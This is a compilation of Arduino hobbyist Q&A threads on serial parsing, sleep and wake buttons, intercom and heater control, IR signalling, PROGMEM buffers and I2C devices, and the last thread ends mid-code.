Arduino split comma separated serial stream I'm trying to read serial data into Arduino.
I usually use a Serial to USB cable to connect to the hardware and is sending data like
33,Z,35.0,F,1073741.824,I,0.0,0x68
33,Z,35.0,F,1073741.824,I,0.0,0x68
33,Z,35.0,F,1073741.824,I,0.0,0x68

At 38400 bound rate.
I have been reading this post Splitting a comma separated string through serial (Arduino) https://www.arduino.cc/reference/en/language/functions/communication/serial/print/
I have tried to write something my own but none return readable data.
Any tips please?

The reference article, that you linked to, is about sending data over Serial, not about reading.
You can use the strtok() function, which can split a character buffer into tokens based on a delimiting character (the comma in your case).
First you have a buffer, where your Serial message in saved (I'm not covering the actual receiving/reading of the Serial data here, because there are tons of tutorials on the web):
char buffer[] = "1,2.3,4,0x56";

Then you can get the first token:
char *token1 = strtok(buffer, ",");

token1 is a pointer to the start of the token. strtok() replaces the found delimiter (which you specify with the second parameter) with a null character. That means, that token1 points to a null terminated C string with only the first token in it (Keep in mind that the buffer is changed with that, so it does not make any sense to try printing buffer after you used strtok()). Note, that this does not create a new buffer. It simply points to a specific place inside buffer.
You could also directly process it, for example convert it to an integer:
int token1_value = atoi(strtok(buffer, ",");

To get the next token, you simply again call strtok(), but now you provide NULL instead of buffer in the first parameter. That tells strtok(), that you still want to process the same buffer from the last execution.
float token2_value = atof(strtok(NULL, ",");

You can now do this, until no token is left unprocessed in the buffer. In that case strtok() returns NULL.
char *token = strtok(NULL, ",");
while(token != NULL){
    Serial.println(token);
    token = strtok(NULL, ",");
}

Have a look at the C++ reference for strtok(). It also includes an online editor, where you can run the provided example and play with it.


Push and hold on/off switch for arduino Many electronic devices turn on/off, or more correctly on/sleep, by pressing a button and holding it for two or three seconds. I would like to put this ability into a project using an Adafruit Feather board.  The sleep side is easy, I can detect a level and if it stays there for some time, run the code to put the processor to sleep.  My question involves the wake up side. The chip wakes up via an interrupt.

The question then becomes, how do I generate the interrupt source only after the button has been held for the designated time? I've considered two options:

1) Use a level interrupt and an RC circuit to do the delay.
2) Have the processor wake up immediately and then implement logic to determine if it has been held "long enough" and go back to sleep if not.

Am I missing an easy option? Is there a general consensus on the best way to do this? It seems like such a normal thing that I'm surprised my searches haven't turned up any tutorials.

I would go for option 2.

You can wake up the controller immediately, but only the processor.

Then just start waiting for the "long enough" time that you defined, regulary checking the button state. If the button is still pushed, then initiate full wake up. If it is released, go back to sleep.

This is the easy option, requiring no extra hardware, and only a dozen of so of lines of code.

Another option, that exist and have a somewhat similar behaviour, is to have your processor wake up regulary on timer, and checking the state of the input. This is what is done for "radio controled" devices, for example (Where the "button" is a radio circuit that need to be switch on and off).
Given a sufficiently long sleep between check, on average you will get the "long enough" delay.

This option is useful when you don't have available interrupt pins, or you need something more complex that a button as the input.


How can I hack my intercom system to buzz people in remotely? How would you go about activating this button remotely?

This board is from the intercom in my apartment. The button when pressed unlocks the building door. I've just ordered the MKR IoT bundle (https://store.arduino.cc/arduino-iot-mkr1000-bundle). My plan is to learn the basics and figure out how to activate this button remotely.

3 possible solutions:

Connect the 2 contact for the button to a relay and control that relay from the arduino (example) But the kit you have doesn't include a relay.
Use a transistor to trigger the switch -- I would not recommend this option as your first project.  It would be easy to damage the intercom and/or your arduino.
Use the servo in the kit to physically press the button.  You will need to figure out the mechanical linkages but you don't need to attach wires to the intercom.

For a beginner project I would probably go with the third option.


Arduino Yun with PoE does not work when powered via PoE I have a Arduino Yun with PoE with LininoOS version

  Linux arduino 3.3.8 #1 Thu Jun 2 12:28:33 CEST 2016 mips GNU/Linux

I have the Version 4.0 of the module.

I often notice that when I connect the module via a USB cable and login via Serial the WAN and WLAN LEDs blink and I can SSH via both the mediums.

However I cannot do the same when the Yun is completely powered via an Ethernet Cable and the I see the Yun frequently restarting and becoming inaccessible via SSH.

I cannot troubleshoot this problem via software as whenever I connect the USB cable along with the Ethernet Cable the power supply switches completely to the USB and the PoE stops and everything suddenly works well again.

Has someone faced the same issue? Is it because of the High Frequency Whistle problem where I need to solder a 100µF Electrolytic Capacitor to the PoE adapter?

Update

I measured the 5 V and 3.3 V pins on the Yun they provide their respective voltages via a multimeter.

I have a Microsens fast ethernet switch with PoE which provides standard (minimum 44V DC)

  Apparently, the WAN LED blinks indicating the Ethernet Connection is available however everytime I ping the Yun it goes down.

PoE Adapter

Silvertel AG9600 1R requires a 100µF 16V Electrolytic Capacitor between it's PIN 7 and PIN 8

According to the PoE Yún Thread the capacitor polarity should be as follows:

  PIN 7 --> Capacitor_Negative. PIN 8 --> Capacitor_Positive

solved my problem. I think the default 470uF capacitor might not be able to charge-discharge appropriately with data signals in the PoE.


What are some steps to attach an Arduino to an electric heater? I have the below portable electric heater, but I would love to control it's start AND stop time using an Arduino. As-is, it does not come with a stop feature. SO, I have a burning question. How can I get an Arduino to start and stop this heater at specific times of the day?

As you can see, it does have a start time, but it does not have a stop time.
The power button is a simple push button. I suspect I would need to 'interject' into that and the board by using a switch? Apologies if the terminology is off, but I'm very green.
Where would a noob begin?

-EDIT-
The unit is always off when it's plugged back in. That likely means I cannot put a timer on the power cord.

Would or should begin? Don't fiddle with the internals of the heater.

Set its switch to the always on position and control switching on and off with an external relay. Make a box that has plenty of room (you can reduce size at a later moment), a power cord, a mains adapter for your Arduino and a mains outlet in which you can plug your heater.

Use:

an RTC (real time clock) breakout to keep accurate time
optionally a 7 segment display to display date/time. Just make sure it has a driver chip on it so you don't need your Arduino to multiplex the individual LEDs
couple push buttons to configure the device
a relay rated for the maximum power of the heater to turn it on/off, that can be driven from 5V. Possibly needs a transistor and flyback diode to be controlled from an Arduino GPIO line.

And be very careful when experimenting with mains power, it can be leathal.


Arduino / BitVoicer Sending IR code on loop I was designing a voice automated kitchen lighting system. I have led strips under the cabinets which are remote controlled by an IR remote, so I captured the IR codes and got an IR led to turn them on. Now I introduced BitVoicer so that I could use voice commands to control the LED. I have ran into the issue that the IR led keeps turning the lights on and off, but my IR codes worked prior to using BitVoicer.

Here is my arduino code:

#include <BitVoicer11.h>

int IRledPin = 13;

BitVoicerSerial bvSerial = BitVoicerSerial();

void setup()
{
 Serial.begin(9600);
 pinMode(IRledPin, OUTPUT);
}

void loop()
{
  bvSerial.getData();

  if(bvSerial.strData == "")
  {
    return;
  }

  if(bvSerial.strData == "wake")
  {
   LightOnCode();
  }
}

  void pulseIR(long microsecs)
   {
     cli();

     while (microsecs > 0)
      {
        digitalWrite(IRledPin, HIGH);
        delayMicroseconds(10);
        digitalWrite(IRledPin, LOW);
        delayMicroseconds(10);

        microsecs -= 26;
      }
     sei();
    }
   void LightOnCode()
{
  pulseIR(8940);
  delayMicroseconds(4380);
  pulseIR(520);
  delayMicroseconds(600);
  pulseIR(520);
  delayMicroseconds(560);
  pulseIR(560);
  delayMicroseconds(560);
  pulseIR(520);
  delayMicroseconds(580);
  pulseIR(520);
  delayMicroseconds(560);
  pulseIR(540);
  delayMicroseconds(580);
  pulseIR(520);
  delayMicroseconds(580);
  pulseIR(520);
  delayMicroseconds(580);
  pulseIR(540);
        delayMicroseconds(1660);
  pulseIR(520);
  delayMicroseconds(1680);
  pulseIR(520);
  delayMicroseconds(1660);
  pulseIR(540);
  delayMicroseconds(1680);
  pulseIR(520);
  delayMicroseconds(1680);
  pulseIR(500);
  delayMicroseconds(1680);
  pulseIR(540);
  delayMicroseconds(1680);
  pulseIR(520);
  delayMicroseconds(1660);
  pulseIR(540);
  delayMicroseconds(580);
  pulseIR(520);
  delayMicroseconds(560);
  pulseIR(560);
  delayMicroseconds(560);
  pulseIR(520);
  delayMicroseconds(600);
  pulseIR(500);
  delayMicroseconds(580);
  pulseIR(540);
  delayMicroseconds(560);
  pulseIR(520);
  delayMicroseconds(1680);
  pulseIR(540);
  delayMicroseconds(560);
  pulseIR(520);
  delayMicroseconds(1680);
  pulseIR(540);
  delayMicroseconds(1660);
  pulseIR(520);
  delayMicroseconds(1680);
  pulseIR(520);
  delayMicroseconds(1640);
  pulseIR(580);
  delayMicroseconds(1660);
  pulseIR(520);
  delayMicroseconds(1660);
  pulseIR(560);
  delayMicroseconds(560);
  pulseIR(520);
  delayMicroseconds(1680);
  pulseIR(520);

}

If anyone could answer my question as to why the led keeps sending extra signals I would appreciate it! If you have any questions don't hesitate to ask!

Taking a quick look at the Documentation on page 22, it looks like you need to use your bvSerial.strData calls within a function called void serialEvent() rather than inside of your loop.  I would recommend trying out their tutorial on that page just to make sure you get BitVoicer to work properly before scaling it for your application.

Hope that helps!


Simulate V1838B IR LED output I have a HDMI switcher which uses a TL1338 IR LED that's connected via a 3.5mm audio jack. It has its own remote for switching between the inputs, but I want to use my TV remote.

In order to do that I want to connect the IR led to an ATTiny85 to receive the input and send the 'translated'code to the switcher.

When analysed with an oscilloscope it seemed that Arduino Libraries output a PWM signal, while the TL1838 outputs a digital signal. Is there a way to simulate a TL1838 signal?

Original situation:

Goal situation with ATTiny85.

What you want to do is send "unmodulated" IR Codes, but the library is trying to modulate them with a 38khz carrier. (The TL1838 device has a built-in demodulator.)

While your question is not a duplicate, this answer applies.


do i need an I/O shield for quadcopter motors I would like to know if I need an I/O shield for the 4 ESC's on a Quadcopter I am building using Arduino Mega2560.  The current to the ESC's should come from the battery itself and the data from the board so my first thought is that it is not needed however I wanted to be sure.

If the ESC accepts a signal that the Arduino can generate (i.e., 5V PWM) then no interfacing is required.

If the ESC is running from 3.7V (or similar) then some level shifting may be required to reduce the 5V signal to 3.7V, depending on the ESC. That may be built on a shield of some form or just with discrete resistors wired in manually to the leads.


Can this Motor shield support other arduino functions? http://www.flipkart.com/grab-em-l293d-motor-driver-arduino-shield/p/itmehvzzpzj4wyby?pid=ETYEHVZZFFHRFMFG

I want to ask whether this shield will allow me to use the free pins of arduino for other functions?

Yes, this motor shield can allow other components to be used. You just have to make sure that the pins being used by the shield are not used by you for other tasks. Generally all shields are designed such that they do not hamper the productivity of arduino. What use would only a motor driver be? Therefore they ensure that they do not block other pins.


Sleep mode and months of operation on small battery In context of getting the MCU on Pro Mini and ATMega2560 (chip is ATmega328 and ATMega 2560) to sleep and power down modes, so as to run on one set of battery for months, appreciate idea and comment.

Initially, I looked at web postings and get the following general idea. Did I miss anything?

Is sleep mode done via ATMel factory library, Arduino-level user contributed library, or the Arduino IDE? Many web posting are along the line of getting it partially working but only at half expected current reduction, etc. That is, current do reduced, but, not enough.

Are there several such library?

How are they?

Which one is better support and more functions? (no need for easy to use, can do registers programming, when needed)

Many thanks in advance

Have a read through the Jeelabs blog which documents the author's very successful attempt at making a very low power wireless sensor node that can run for months off coin cells.

http://jeelabs.org

There is also a library based on this project called Jeelib:

http://jeelabs.net/pub/docs/jeelib/

Jeelib contains a class called Sleepy that allows for easy sleeping.

Rocketscream did a thorough test of the current consumptions with the different modes here:

http://www.rocketscream.com/blog/2011/07/04/lightweight-low-power-arduino-library/

According to them, you can get the ATMega328P down to 1.7uA.

Unless you do something about the power supply on a normal Arduino board you won't be able to extend the battery life by much at all. See my answer here for some more details:

Arduino powering from 9V battery


Moving ATMEGA to 3.3V I currently have a barebone arduino built from just an Atmega 328P and a 16Mhz external crystal.

I planning to move this system down to 3-3.6V but I have read that on low voltage I have to use 8Mhz crytstal so my only question is that because of this change do I have to take the chip out to reflash with the programmer again or it will work as it did before?

What will happen if I do not change the oscillator and leave it on 16MHZ ceramic?

...I have read that on low voltage I have to use 8Mhz crytstal...

Technically you can run anywhere below 13Mhz or so, so you have lots of choice.

You may also be able to use the prescaler to divide the clock by 2, either by hoping the ATmega can run the short time at 16MHz, or by programming the CKDIV8 fuse to start it at 2MHz.

  ...do I have to take the chip out to reflash with the programmer again...

If you move to a frequency within spec with either a clock change or prescaler use, yes. The bootloader and Arduino libraries expect a 16MHz clock, so you will have to rebuild the bootloader with the new clock rate, and sketches that use delay() et alia as well as the intrinsic delay functions will also need to be rebuilt.

  What will happen if I do not change the oscillator and leave it on 16MHZ ceramic?

It may work, it may not.


Reading a 10-byte buffer out of a PROGMEM string stored in a string table I'm storing a large snippet of text in three separate PROGMEM char arrays:

const char script1[] PROGMEM = "....";
const char script2[] PROGMEM = "....";
const char script3[] PROGMEM = "....";

The first two are 32766 characters, and the last one is 23867 characters (the whole string is 89400 characters in total). I store these in PROGMEM on an Arduino Mega 2560 (which then uses about 90K of 256K of available program memory).

I stored these three strings in a table, together with their lengths:

const int TABLE_SIZE = 3;
const char * const scriptTable[] PROGMEM =
{
  script1,
  script2,
  script3
};

const int scriptLengths[] {32767, 32767, 23867};

I have some issues trying to chunk up the string into 10-byte buffers, and processng it that way. I want to iterate through the table, process the first part in 10-byte chunks first, then move on to the second part, and finally the last part.

For a single string (code), the following works fine:

const char code[] PROGMEM = "....";

// Chunk up large code string in PROGMEM.
const int CHUNKSIZE = 10; // CHUNKSIZE *must* be an even number!!
char workingSpace[CHUNKSIZE + 1];
int baseIndex = 0;

while (baseIndex < sizeof(code)) {
    int chunk;
    if (baseIndex + CHUNKSIZE > sizeof(code)) {
        chunk = sizeof(code) - baseIndex;
        }
        else {
          chunk = CHUNKSIZE;
        }
        memcpy_PF(workingSpace, ((uint_farptr_t)code) + baseIndex, chunk);
        workingSpace[chunk] = '\0';

        // for debugging
        Serial.print("#");
        Serial.print(baseIndex);
        Serial.print("– Got a chunk [");
        Serial.print(workingSpace);
        Serial.println("]");

        baseIndex += CHUNKSIZE;

However, I'm having some difficulties doing the memcpy_PF call using the table.

int tableIndex = 0;
// for each of the three script strings
for (tableIndex = 0; tableIndex < TABLE_SIZE; tableIndex++) {
    // Chunk up large script strings in PROGMEM.
    const int CHUNKSIZE = 10; // CHUNKSIZE *must* be an even number!!
    char workingSpace[CHUNKSIZE + 1];
    int baseIndex = 0;

    // we can only use sizeof if it's a static var.
    // strlen should only be calculated once, expensive operation (loop until we encounter '\0').
    // now stored statically in scriptLengths table.
    Serial.println("tableIndex: ");
    Serial.println(tableIndex);
    int strLength = scriptLengths[tableIndex];
    Serial.print("length script string: ");
    Serial.println(strLength);

    while (baseIndex < strLength) {
        int chunk;
        if (baseIndex + CHUNKSIZE > strLength) {
          chunk = strLength - baseIndex;
        }
        else {
          chunk = CHUNKSIZE;
        }
        // do memcpy_PF call here

I have tried several options here, mostly having difficulties with the second parameter (how to address the string stored in the table, and increase its indexing parameter). I read that the way to get a string out of a string table is to use pgm_read_word. However, with both of these below, I either get gibberish in the buffer string, or it seems to start in an incorrect location in the string.

memcpy_PF(workingSpace, ((uint_farptr_t) &scriptTable[tableIndex][baseIndex]), chunk);
memcpy_PF(workingSpace, ((uint_farptr_t) (char*)pgm_read_word(&(scriptTable[tableIndex])) + baseIndex), chunk);

Any help would be greatly appreciated!

Thanks!

The first thing you need to fix is this:

/home/nick/Arduino/Large_Progmem_test/Large_Progmem_test.ino: In function 'foo()':
/home/nick/Arduino/Large_Progmem_test/Large_Progmem_test.ino:42:27: warning: iteration 3276 invokes undefined behavior [-Waggressive-loop-optimizations]
     baseIndex += CHUNKSIZE;

You are adding 10 to 32760 hoping to be >= sizeof(code) however now baseIndex will become negative as an int goes from -32768 to +32767.

There were some interesting subtleties to getting this working. :)

One of your major problems is this:

const char * const scriptTable[] PROGMEM =

That will give you 2-byte pointers (const char *) which will not be large enough to index into 89400 characters.

So you need to have an array of 4-byte pointers like this:

uint_farptr_t  scriptTable [TABLE_SIZE] =

However you can't just initialize those like you tried to. That has to be done procedurally with a macro that pulls in the full address. My working code is below:

#include "code.cpp"

const int TABLE_SIZE = 3;
uint_farptr_t  scriptTable [TABLE_SIZE];  // values calculated at runtime
const int scriptLengths[TABLE_SIZE]
  {
  sizeof (script1),
  sizeof (script2),
  sizeof (script3)
  };

void foo ()
{
  // for each of the three script strings
  for (byte tableIndex = 0; tableIndex < TABLE_SIZE; tableIndex++)
    {
    // Chunk up large script strings in PROGMEM.
    const int CHUNKSIZE = 10; // CHUNKSIZE *must* be an even number!!
    char workingSpace[CHUNKSIZE + 1];
    long baseIndex = 0;

    Serial.println ("----------------");
    Serial.print("tableIndex: ");
    Serial.println(tableIndex);
    long strLength = scriptLengths[tableIndex];
    Serial.print("length script string: ");
    Serial.println(strLength);

    while (baseIndex < strLength) {
      int chunk;
      if (baseIndex + CHUNKSIZE > strLength) {
        chunk = strLength - baseIndex;
      }
      else {
        chunk = CHUNKSIZE;
      }
      memcpy_PF(workingSpace, scriptTable [tableIndex] + baseIndex, chunk);
      workingSpace[chunk] = '\0';

      // for debugging
      Serial.print("#");
      Serial.print(baseIndex);
      Serial.print("- Got a chunk [");
      Serial.print(workingSpace);
      Serial.println("]");
      delay (50);
      baseIndex += CHUNKSIZE;
    } // end of while
  } // end of for
} // end of foo

void setup()
{
  // get proper pointers to the various pieces of progmem
  scriptTable [0] = pgm_get_far_address (script1);
  scriptTable [1] = pgm_get_far_address (script2);
  scriptTable [2] = pgm_get_far_address (script3);

  Serial.begin (115200);
  foo ();
}

void loop()
{
}

The file "code.cpp" just has the actual data in it (generated at http://www.lipsum.com).

As in:

#include <Arduino.h>

const char script1[] PROGMEM =  {

"Lorem ipsum dolor sit amet, consectetur adipiscing elit.  ... " };

const char script2[] PROGMEM =  {

"Aliquam erat volutpat. Praesent aliquet accumsan arcu,  ... " };

const char script3[] PROGMEM =  {

"Ut neque dolor, condimentum ut odio iaculis,  ... " };

Output:

----------------
tableIndex: 0
length script string: 32767
#0- Got a chunk [Lorem ipsu]
#10- Got a chunk [m dolor si]
#20- Got a chunk [t amet, co]
#30- Got a chunk [nsectetur ]
#40- Got a chunk [adipiscing]
#50- Got a chunk [ elit. Pro]
#60- Got a chunk [in sit ame]
#70- Got a chunk [t purus cu]
#80- Got a chunk [rsus, dict]
#90- Got a chunk [um magna q]
#100- Got a chunk [uis, place]
#110- Got a chunk [rat dui. I]
#120- Got a chunk [nteger ali]

...

#32700- Got a chunk [, eget tem]
#32710- Got a chunk [por dui te]
#32720- Got a chunk [mpor a. Do]
#32730- Got a chunk [nec malesu]
#32740- Got a chunk [ada mi et ]
#32750- Got a chunk [dolor cras]
#32760- Got a chunk [ amet.]
----------------
tableIndex: 1
length script string: 32767
#0- Got a chunk [Aliquam er]
#10- Got a chunk [at volutpa]
#20- Got a chunk [t. Praesen]
#30- Got a chunk [t aliquet ]

It successfully transitioned from the first array to the second one.


Arduino Mega 2560 R3 with Shield Model Wireless SD R3 not working Recently I've bought an Arduino Mega 2560 R3 and a Shield Model Wireless SD R3 from http://www.amazon.de/Arduino-A000065-Netzwerkkarte-Wireless-SD-Shield/dp/B00L1FO860. I try to run the example from https://www.arduino.cc/en/Tutorial/ConnectWithWPA

Before running the sketch I turn the DIP switch to the position USB.
It seems like the WIfi Shield is correct connected to the Arduino since the LEDs TX and RX are blinking during upload the Sketch.

Sadly as output I got only:
    WiFi shield not present

Currently I'm not sure if the hardware itself provide Wifi functionality. Does somebody know if it should work with this hardware?

You see that double row of 10 pin headers?  That's an XBee connector.

https://www.sparkfun.com/pages/xbee_guide

You use it to connect your XBee module of choice (there's a few to choose from) to communicate wirelessly between Arduinos using the special XBee system.

Note that XBee is not WiFi, it's Wireless.  The two are very different things (Wireless refers to any wire-free communication system, WiFi is one specific protocol on one specific set of frequencies using a specific set of encodings, etc).  XBee cannot talk WiFi in the same way that I can't talk Chinese.

For WiFi you need a WiFi shield.

https://www.arduino.cc/en/Main/ArduinoWiFiShield


Error trying to compile an example from newly added Arduino menu library I added the ArduinoMenu library https://github.com/neu-rah/ArduinoMenu and when I try to compile one of the examples, I get following error.

  Using library LiquidCrystal at version 1.0.5 in folder: C:\Program Files (x86)\Arduino\libraries\LiquidCrystal exit status 1 Error compiling for board Arduino/Genuino Mega or Mega 2560.

How can I fix this?

I think you have to add your library in the library folder. Below is the path of that folder. It will help you.

C:\Program Files (x86)\Arduino\libraries


How to map integer values and round to a count of tens/thousands? I'm mapping a potentiometer from 0-1023 to 1000-120000 (1 sec to 2 minutes) for a timer, like:

maxDelay = map (pot2, 0, 1023, 1000, 120000);

Both variables are integers. Now I would like to convert/round values to counts of 10 seconds (a count of thousands), so if I have anything from 1001-5000 this would be rounded to 1000 (1sec), and if I have 5001-10000 it would be rounded to 10000 (10 secs), then 20sec, 30sec, etc...until it reaches 120secs. I know I could have a few "if" statements but I'm trying to figure out the right way of doing these maths. Thanks.

I didn't yet compiled it, but something like this should work:

#include <Math.h>

int converter(int x)
{
    if(x <= 5000)
        return 1000;
    else
        return (int)(round(x / 10000.0) * 10000.0);
}


SoftwareSerial read until available is empty only works with delay I originally was only going to make my program work on an ESP until I needed it on an Arduino UNO (because  I suspect my ESP is broken).
I had to add SoftwareSerial support but because I didn't originally intend to, the strings I send from my app have no terminators on them. I thought this would be fine because I could do something like:
void loop()
{
    while (ble.available() > 0)
    {
        data += (char)ble.read();
    }

    if (ble.available() <= 0 && data.length() > 0)
    {
        ble.println(data);
        //do stuff
        data = "";
    }
}

All that is doing is creating a string out of the recieved characters. It then checks if there is nothing left to read, and stuff has already been read (ie data has a length), then print the data.
What I expect the output to be is (if the input string in 03:255,255,255):
03:255,255,255

What I actually get is:
0
3
:
2
5
5
,
//and so on

That is becuase, for some reason, even though ble.available() should return a number not 0 at the if statement, it returns 0 and therefore the statement will always become true.
The only way I've fixed this is by adding in a little delay at the end of the loop. Whether that be:
delay(10)

or even this, in the while loop:
Serial.println(ble.available()) //This introduces enough delay somehow

Without having to modify my app, can I pull this off without using a delay? With delays it seems hacky especially because for all I know, for older or newer devices this delay could be too high or too low.

Serial does not transmit data as one bunch, but byte by byte. There can easily be some little delays introduced, especially, when transmitted via a packaged protocol like bluetooth, long enough, for the Arduino to not see any new data in its buffer. Also the transmission needs some time, depending on the baudrate. When you read faster from the buffer, than you receive, you will encounter an empty buffer after every byte.
Now with that information look at your code:
void loop()
{
    while (ble.available() > 0)
    {
        data += (char)ble.read();
    }

    if (ble.available() <= 0 && data.length() > 0)
    {
        ble.println(data);
        //do stuff
        data = "";
    }
}

Let's assume, the Arduino receives one byte, then a little pause happens, then the next data is received. The code will go into the while loop and read the received byte from the serial buffer. To stay in the while loop, the next byte has to be received in the execution time of the code inside of the while loop. That is incredible short. So after one byte there is nothing more inside the buffer, thus the while loop exits, because ble.available() returns zero. Then the if statement is executed, also rather fast. Most likely, ble.available() will still return zero. But you already put a character into the buffer, so the if statement is executed.
The delay solves your problem because then you read way slower than you receive. The data is mainly received while the delay runs. Then the rest of your code can read, what was already received and put into the buffer.
**What to do instead of delay(): You need to make sure, that you always read a full message. There are different ways, depending on your requirements. If your messages always have the same length, you could wait, until the specified number of characters was received, and only then read them. But that will fail, if you for some reason (for example a reset of the Arduino) receive a partial message, which would cause a misalignment. You could clear the receive buffer, when you read a full message, that might help, if your data transmissions don't happen to often.
You could try to parse the incoming data according to the message format (which needs to stay constant for this purpose), like:
Read a number.
If it has a colon following it, it is a new message.
Then read number
    read comma
    read number
    read comma
    read number
Repeat.

For this purpose it would be fitting to read every byte, that gets received, and write then into your own circular buffer. You can then continuously add newly received characters at the end, while removing the already parsed messages from the start of the buffer.

You see, these ways have caveats and might be convoluted. The easiest way would be to add a delimiter/terminator to your messages, though from your question it sounds, as if this is not possible for you currently.
Note:

None of the above is specific to SoftwareSerial. It's the same for hardware Serial.
I suspect the code worked your ESP, because you had some other code there, which introduced a big enough delay (just like your delay() call)


Improve sampling speed while using a multiplexer I currently connected 5 sensor via a multiplexer (I must connect them to a multiplexer because they are I2C devices but they cannot been allocate more then 2 addresses so I use a multiplexer to solve the addressing problem).

However the sample rate is a shame , it is about 6.5Hz . I wish I could improve the sample rate by using some tricks.
In my loop() function, multiplexer will loop through channel 0-4 , and read each of these channel's sensor value and print it by using Serial.print()

Is there any tricks I could use to improve my sampling rate faster ? Thanks...

Here is my multiplexer class :

class MUX {
public:
//mux control pins:
int s0 = 22;
int s1 = 24;
int s2 = 26;
int s3 = 28;

//SIG pin (not necessary WHEN sig is connect to 5V)
//int SIG_pin = 0;

//array to store channel :: muxChannel[channel numbers ][4 digit channel representation]
int muxChannel[16][4] = {
  {0, 0, 0, 0}, //channel 0
  {1, 0, 0, 0}, //channel 1
  {0, 1, 0, 0}, //channel 2
  {1, 1, 0, 0}, //channel 3
  {0, 0, 1, 0}, //channel 4
  {1, 0, 1, 0}, //channel 5
  {0, 1, 1, 0}, //channel 6
  {1, 1, 1, 0}, //channel 7
  {0, 0, 0, 1}, //channel 8
  {1, 0, 0, 1}, //channel 9
  {0, 1, 0, 1}, //channel 10
  {1, 1, 0, 1}, //channel 11
  {0, 0, 1, 1}, //channel 12
  {1, 0, 1, 1}, //channel 13
  {0, 1, 1, 1}, //channel 14
  {1, 1, 1, 1} //channel 15
};

void setupMux() {
  pinMode(s0, OUTPUT);
  pinMode(s1, OUTPUT);
  pinMode(s2, OUTPUT);
  pinMode(s3, OUTPUT);

  digitalWrite(s0, LOW);
  digitalWrite(s1, LOW);
  digitalWrite(s2, LOW);
  digitalWrite(s3, LOW);
  Serial.println(F("Multiplexer initialized"));
}

void selectChannel(int channel) {
  int controlPin[] = {s0, s1, s2, s3};
  for (int i = 0; i < 4; i++) {
    digitalWrite(controlPin[i], muxChannel[channel][i]);
  }
}

It's hard to offer much more than speculation without knowing more about the sensors and your current code, but here is one possibility:

If the bulk of your loop time is the sum of the conversion times, is it possible to cycle through the sensors twice, once to start each conversion (so they will convert nearly simultaneously), wait one conversion-time (or for the first sensor to complete), then cycle through them again to read back each converted value?

for each sensor,
  setup mux;
  send start conversion command;
end

for each sensor,
  setup mux;
  while conversion not done,
    ;  // wait
  read and store value;
end

For 16 sensors and assuming the conversion time the majority of the time spent, that could speed your sample rate to ~100Hz. Expect maybe half of that, since mux-setup and communication times are probably not negligible.


Why is Arduino resetting while driving motors? I am driving motors for my line-follower project . The circuit schematic is given below

The power source is a 11.1V 2200mAh 25C Lipo . Practically the cells give 11.5-12V. I used a switching buck regulator to step down the voltage. However , when i run my robot on track after few seconds,the arduino tends to reset and run again. This problem typically arises when i drive the motors at higher PWM(above 180 on analogWrite function). Since i use PID, limiting the PWM means i have to drive at lower speeds which i do not want.

I am providing links for the items i used for my circuit:

buck converter;
motor driver;
IR sensor module;
DC motors.

The sensor array draws 150mA at peak. Any suggestions as to where the problem might lie would be of great help. Thank you .

EDIT 1: Changed the input voltage Vin to 7.9V through the buck converter .
        The problem still persists .

The VIN pin goes to a 5V voltage regulator on the Arduino and needs at least about 7V minimum to work properly.  If you want to supply 5V to an Arduino do it either on the 5V pin or via the USB connector.  The VIN pin should receive 7V to 12V.


Risks when commanding multiple chips with same address via I2C I know that I2C devices are supposed to have unique addresses when used. What if I still use multiple devices with the same address, what can go wrong? Let me describe the situation:

I have multiple digital capacitors (NCD2400M by IXYS) and I would be using them so, that I always send the same command to every chip. I have no need of reading anything from those, which is the reason I was thinking why should I bother multiplexing my I2C line. I have no reason to identify them, only commanding. For the commanding I use Arduino (Nano currently, might change to some other Arduino model).

I have already tried commanding them simultaneously and it works like a charm. I tried so that I connected SDA and SCL of four chips and used RC circuit and square wave to check the rise time to verify that every chip indeed changes their capacitance.

However, I'm new to I2C protocol and I'm not yet aware of every detail. I guess there could be issues when one of the chips fail? Can I assume in this case that nothing goes wrong with the ACK/NACK bit since the chips are "identical"?

-RautSa

EDIT:
After using correct keywords for searching I found this previously asked question. Based on that I now understand at least there would be a problem when only one of the chips tries to send NACK bit.

There is no risk for damaging something, but the risk is the reliability.

The NCD2400M operates at 3.3V and 5V, so that will work with every Arduino board.

Your question is very similar to the question that you already found: electronics.stackexchange.com/questions/417263/multiple-instances-of-same-device-on-i2c-bus.
There are a few specific Arduino things to mention.

During Arduino setup() a sensor is often checked if it is connected and if it is possible to communicate with a sensor. That would be impossible when the sensors share the I2C address.

The Arduino Wire library detects a bus error, for example when there are other I2C Masters on the bus, and returns with an error.
Since your NCD2400M are only Slaves, I think that they will not trigger a bus error.

You need some luck, and I can not guarantee that it will always work:

When the NCD2400M behaves like a normal I2C Slave and it is not too
smart, then it does not detect that another one pulls the SDA low
for an acknowledge.
Some sensors send a NACK when they are busy, I
can not find such a note in the datasheet. You could write to the
NCD2400M twice to be sure that they have received it.
When they have an
internal clock and respond with different timings on the I2C bus,
then you can set the SCL clock lower. For example
Wire.setClock(50000); after Wire.begin() for a 50kHz SCL clock.

When one of NCD2400M is blown, then you are not able to identify the bad one. However, when one of the NCD2400M is blown, perhaps the whole circuit is no longer reliable.

For a good design, you should know if you are actually communicating with a sensor or just talking into thin air. When you have made more Arduino projects, then you know that it is essential to know if a sensor is connected or not.

Trying this solution to make it "easy" for now, might cause a lot of troubles later.

Conclusion: It will work. You can use it for a test. When you use it in the final version, you take the risk that it can cause a lot of troubles.

More about the basics of the I2C bus: http://www.gammon.com.au/i2c


How to add indicator lights to button sketch I would like to add leds to each button switch in the first code, The first code sends midi messages to a DAW I would like it to also turn on a led as an indicator light. The switch needs to turn the light on if off and off if on. The second code is an example that does this, it works well with one button. I would like to have the 3 buttons on pins 0, 1, 2 and the leds on pins 3, 4, and 5.

#include <Bounce.h>

const int channel = 1;
Bounce button0 = Bounce(0, 5);
Bounce button1 = Bounce(1, 5);
Bounce button2 = Bounce(2, 5);

void setup() {
  pinMode(0, INPUT_PULLUP);
  pinMode(1, INPUT_PULLUP);
  pinMode(2, INPUT_PULLUP);
}
void loop() {
  button0.update();
  button1.update();
  button2.update();

  if (button0.fallingEdge()) {
    usbMIDI.sendNoteOn(60, 99, channel);  // 60 = C4
  }
  if (button1.fallingEdge()) {
    usbMIDI.sendNoteOn(61, 99, channel);  // 61 = C#4
  }
  if (button2.fallingEdge()) {
    usbMIDI.sendNoteOn(62, 99, channel);  // 62 = D4
  }

  if (button0.risingEdge()) {
    usbMIDI.sendNoteOff(60, 0, channel);// 60 = C4
  }
  if (button1.risingEdge()) {
    usbMIDI.sendNoteOff(61, 0, channel);  // 61 = C#4
  }
